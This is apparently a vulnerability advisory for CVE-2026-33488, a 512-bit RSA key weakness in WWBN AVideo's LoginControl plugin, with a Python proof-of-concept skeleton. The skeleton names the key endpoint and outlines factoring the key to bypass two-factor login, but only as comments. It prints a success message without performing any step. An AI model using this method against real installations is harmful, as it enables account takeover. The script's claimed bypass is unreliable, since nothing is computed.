CVE-2026-33488 WWBN AVideo 512位RSA弱加密漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33488: 512-bit RSA Key Factorization # This script simulates the attack vector described in the vulnerability. # Note: 512-bit RSA keys are insecure and can be factored using tools like RsaCtfTool or MSieve. import sys def simulate_attack(): # 1. Obtain Public Key from vulnerable endpoint # URL: http://target/AVideo/plugin/LoginControl/generateKeys.json.php # Response contains a 512-bit public key (n, e). print("[*] Step 1: Fetching 512-bit public key from target...") # n = ... (fetched from target) # e = 65537 # 2. Factorize the modulus (n) print("[*] Step 2: Factoring 512-bit modulus using GNFS/MSieve...") # Calculation happens here. For 512-bit keys, this takes hours on commodity hardware. # p = find_prime_factor(n) # q = n // p # 3. Derive Private Key print("[*] Step 3: Deriving private key (d)...") # phi = (p - 1) * (q - 1) # d = modular_inverse(e, phi) # 4. Decrypt 2FA Challenge print("[*] Step 4: Decrypting 2FA challenge to bypass authentication...") # plaintext = pow(challenge, d, n) print("[+] Success: 2FA bypassed. Access granted.") if __name__ == "__main__": simulate_attack()